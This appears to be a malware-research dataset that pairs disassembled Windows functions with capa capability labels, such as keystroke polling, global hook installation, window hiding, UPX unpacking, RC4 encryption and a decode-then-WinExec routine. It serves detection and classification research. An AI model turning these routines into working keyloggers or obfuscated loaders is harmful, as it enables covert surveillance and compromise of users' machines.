joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44293c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x475ea8]
cmp byte [eax + 0xc], 0
je 0x442aa9
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x442aa2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x476b94], 0
jne 0x442990
push 0x442ab0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x442ab8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476b94], eax
cmp dword [0x474bec], 0
jne 0x442a8b
push 0x442ac8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x474bec], eax
cmp dword [0x474bec], 0
je 0x442a8b
push 0x442ad4
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476b98], eax
push 0x442ae4
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476b9c], eax
push 0x442af8
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476ba0], eax
push 0x442b10
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476ba4], eax
push 0x442b28
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476ba8], eax
push 0x442b3c
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476bac], eax
push 0x442b54
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476bb0], eax
push 0x442b6c
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476bb4], eax
push 0x442b88
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476bb8], eax
push 0x442b94
mov eax, dword [0x474bec]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x476bbc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x442aa9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x446934
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403f5c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x446983
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44e0c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44e110]
test si, 4
je 0x44e0d4
or bl, 1
test si, 8
je 0x44e0de
or bl, 4
test si, 1
je 0x44e0e8
or bl, 8
test si, 2
je 0x44e0f2
or bl, 0x10
test si, 0x10
je 0x44e0fc
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e10b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44e114
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44e14c]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e12d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44e13c
or bl, 4
test esi, 0x20000000
je 0x44e147
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4547f4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x454806
add esp, 0xfffffff0
call fcn.004034ac
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b13c
mov eax, dword [0x4759e0]
mov dword [eax + 4], ebx
mov dword [eax], 0x454b98
mov eax, dword [0x4759f0]
mov dword [eax + 4], ebx
mov dword [eax], 0x454ba4
mov eax, ebx
call fcn.00454bb0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x450fcc
push eax
push 0
push 0
mov eax, dword [0x475bd8]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41cb98]
call fcn.0041e30c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41cb98]
call fcn.0041e30c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41cb98]
call fcn.0041e30c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00454fd0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x454eac
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x454eac
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x454eac
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x454943
call fcn.00403504
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x454c90
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x454e3b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x454e1c
mov dl, 1
mov eax, dword [0x4124a4]
call fcn.00403158
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f5c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x454e0b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00442c9c
test al, al
je 0x454dfe
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x454e4c
lea eax, [ebp - 0x254]
call fcn.00409004
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x454dfe
xor eax, eax
push ebp
push 0x454df7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x454e84
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x454de0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x454de0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454dfe
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x454d01
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416c44
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454e42
lea eax, [ebp - 0x260]
call fcn.00403f5c
ret

Function at 0x455770
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x476be0]
cmp byte [eax + 0xa5], 0
jne 0x4557e1
cmp dword [0x476bf8], 0
jne 0x4557a2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45572c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x476bf8], eax
cmp dword [0x476bf4], 0
jne 0x4557bd
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x476bf4], eax
cmp dword [0x476bfc], 0
jne 0x4557e1
push esp
push 0
push 0
push 0x4556d0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x476bfc], eax
pop edx
ret
Function at 0x4558d8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4558ef
add esp, 0xfffffff0
call fcn.004034ac
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b13c
mov eax, dword [0x475bb8]
cmp word [eax + 2], 0
jne 0x455917
mov eax, dword [0x475bb8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00456fb0
mov eax, dword [0x475cd0]
cmp word [eax + 2], 0
jne 0x455931
mov eax, dword [0x475cd0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004571a8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411e40]
call fcn.00403158
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41d678]
call fcn.00424a2c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x455ab8
mov eax, dword [0x475a74]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00424dfc
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x457748
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x475a74]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c81c
test eax, eax
je 0x455a26
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004089f8
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c844
test eax, eax
je 0x455a3a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov eax, dword [0x4758a0]
cmp byte [eax], 0
jne 0x455a6e
mov eax, ebx
call fcn.00455be0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00457924
mov eax, ebx
call fcn.004582e8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x455aae
call fcn.00403504
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x455e60
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x476be0]
cmp dword [eax + 0x30], 0
je 0x455f0a
cmp dword [ebx + 0x94], 0
jne 0x455f04
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x455df0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x455f04
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x455eca
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x455f04
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414550
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x455ed9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x456a6c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x456aa1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040404c
jmp 0x456aae
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fb0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x457b00
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x457b41
mov eax, esi
call fcn.0043e284
test al, al
je 0x457b41
mov eax, dword [ebx + 0x84]
call fcn.0043df80
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x457b41
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043df80
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x414ee0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe000]
push edi
or ebp, 0xffffffff
jmp 0x414f02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414f09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414ef8
mov eax, 1
add ebx, ebx
jne 0x414f1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x414f10
jne 0x414f2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414f10
xor ecx, ecx
sub eax, 3
jb 0x414f40
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414fb2
mov ebp, eax
add ebx, ebx
jne 0x414f4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414f58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414f7c
inc ecx
add ebx, ebx
jne 0x414f68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x414f5d
jne 0x414f79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414f5d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jle 0x414f9c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f8d
jmp 0x414efe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f9c
add edi, ecx
jmp 0x414efe
pop esi
sub edi, dword [edi - 4]
push edi
mov edi, esi
mov ecx, 0x2d1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414fbe
cmp byte [edi], 0
jne 0x414fbe
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x414fc3
pop edi
mov eax, dword [edi]
or eax, eax
je 0x41502b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15960]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x159c4]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414feb
push edx
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0x159c8]
pop edx
or eax, eax
je 0x415029
mov dword [ebx], eax
add ebx, 4
jmp 0x415008
popal
ret
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41505c
cmp al, 0xef
ja 0x41504f
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x415031
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41503e
popal
jmp 0x407a28
Function at 0x420e80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420ead
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420ead
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x16b2a85e
mov ebx, eax
cmp eax, ebx
je 0x401079
ret 8
mov ecx, 0xad5560c
dec ecx
push ecx
xor eax, eax
push eax
push eax
call sub.user32.dll_CharPrevA
pop ecx
cmp ecx, 0
jne 0x40107e
mov esi, 0x402010
mov edi, esi
mov eax, esi
xor ebx, ebx
add edi, 0x58
sub dword [esi], 0x4c4c4e53
add esi, 4
mov dx, 0xdf31
cmp esi, edi
jl 0x40109d
mov di, 0xe1ac
mov ebx, 0
push ebx
push eax
add ebx, 0x89fe4a
call sub.kernel32.dll_WinExec
xor eax, eax
push eax
push eax
push eax
call sub.user32.dll_CheckDlgButton
mov ebx, 0x99649d6a
add eax, ebx
sub edi, esi
cmp eax, esi
je 0x40112d
add eax, 0xf2bd492e
jmp 0x40112d
mov eax, 0
push eax
call sub.kernel32.dll_ExitProcess
jmp dword [sym.imp.kernel32.dll_DeleteFiber]
Function at 0x4104c0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47374b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00468374
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x410542
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00465b27
mov eax, dword [eax]
push 0x57cc68
push eax
call fcn.004589a4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004685ff
test bl, bl
je 0x410542
push 0x57cc68
lea ecx, [esp + 0xc]
call fcn.0046898f
push 0x57cc74
lea ecx, [esp + 0xc]
call fcn.0046898f
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41057e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004685ff
jmp 0x410649
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x410602
lea edx, [esp + 0x7c]
push 0x57cc70
push edx
call fcn.004589a4
add esp, 8
test eax, eax
je 0x410602
lea eax, [esp + 0x7c]
push 0x57cc6c
push eax
call fcn.004589a4
add esp, 8
test eax, eax
je 0x410602
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x410592
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004685ff
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x410e50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x410eb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x410ec0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4737cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x583470]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x410ff8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x410f26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004685ff
xor eax, eax
jmp 0x41106f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046873c
push esi
lea ecx, [esp + 0xc]
call fcn.004689cb
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41104d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00410e50
test eax, eax
jne 0x41104d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00410e50
test eax, eax
jne 0x41104d
lea eax, [esp + 0x14]
push 0x57cc84
push eax
call fcn.00459ab0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41102c
lea ecx, [esp + 0x14]
push 0x57cc80
push ecx
call fcn.00459a30
mov esi, eax
add esp, 8
test esi, esi
jne 0x41102c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41102f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004686ec
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x410f3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004685ff
xor eax, eax
jmp 0x41106f
mov byte [esi], 0
push 0x57cc7c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004685ff
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x423ac0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x423b2e
cmp si, 0x69
ja 0x423b2e
add esi, 0xffd0
cmp si, 0x11
je 0x423afe
push 0x11
call edi
test ax, ax
jge 0x423afe
or esi, 0x2000
cmp si, 0x10
je 0x423b13
push 0x10
call edi
test ax, ax
jge 0x423b13
or esi, 0x4000
cmp si, 0x12
je 0x423b28
push 0x12
call edi
test ax, ax
jge 0x423b28
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x423b3b
mov esi, 0xbd
jmp 0x423aef
cmp si, 0x6e
jne 0x423b48
mov esi, 0xbe
jmp 0x423aef
cmp si, 0x6f
jne 0x423ae9
mov esi, 0xbf
jmp 0x423aef

Function at 0x425310
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x593be8]
xor edx, edx
cmp eax, edx
jne 0x425336
xor eax, eax
mov byte [eax + 0x593ae8], al
inc eax
cmp eax, 0x100
jl 0x42531e
mov dword [0x593be8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x593ae8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4253c7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42539a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x425368
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x425440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x425493
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42547a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret